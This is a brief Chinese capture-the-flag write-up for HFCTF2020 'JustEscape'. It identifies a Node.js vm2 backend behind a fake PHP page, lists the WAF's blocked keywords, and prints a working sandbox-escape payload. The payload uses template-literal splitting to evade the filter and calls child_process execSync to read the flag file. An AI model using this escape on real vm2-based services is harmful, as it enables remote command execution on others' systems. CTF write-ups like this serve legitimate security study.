[HFCTF2020]JustEscape
有两个提升
注意编码和真的是PHP嘛
直接访问php文件试试看
发现源码
<?php if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) { $code = $_GET['code']; echo eval(code); } else { highlight_file(__FILE__); } ?>
上面的这个真是php有点奇怪
猜测应该不是php
使用Errot().stack测试一下,回显了一堆报错信息
发现是vm2的沙盒逃逸
直接去https://github.com/patriksimek/vm2/issues/225
有vm2的exp
直接使用发现被waf拦下
测试得到以下字符被过滤了
['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']
prototype被过滤了,就可以换成
`${`${`prototyp`}e`}`
修改过的payload
(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()